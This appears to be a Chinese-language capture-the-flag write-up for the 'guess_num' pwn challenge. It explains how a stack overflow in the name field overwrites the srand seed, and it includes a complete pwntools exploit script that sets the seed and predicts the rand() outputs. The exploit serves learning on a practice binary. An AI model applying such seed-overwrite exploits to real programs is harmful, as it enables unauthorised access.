08_guess_num_64

1.检查安全防护机制

安全机制,可以帮我们间接的分析文件的属性

图片.png

2.IDA
图片.png

思考:

1.通过读取反编译,我们先上来,查看栈空间的位置,我们分析知道,我们输入的数字,和srand()用的是同一块栈空间,我们猜想可以通过,溢出到srand的位置填充我们猜解的数字。
图片.png

2.我们知道,程序需要我们了解他的思维(猜数字)。首先,我们想到可以自己生产随机数字,进行输入,但是这个一个远程的程序,我们需要在脚本里写好我们生成的数字,进行填充。
3.EXP
from pwn import*
from ctypes import*  //导入调用dll文件的库

p = process('./guess_num')
p = remote("","")

elf = ELF('./guess_num')

libc = cdll.LoadLibrary('/lib/x86_64-linux-gnu/libc.so.6')

payload = 'A'*0x20   //我们需要将我们的名字全部填充,然后到srand()里面调用随机种子
payload += p64(1)
p.recvuntil('name:')
p.sendline(payload)   //发送我们的payload


libc.srand(1)   //设置随机种子0/1都可以
for i in range(10):
        num = str(libc.rand()%6+1)
        p.recvuntil('number:')
        p.sendline(num)

p.interactive()

图片.png

你可能感兴趣的:(08_guess_num_64)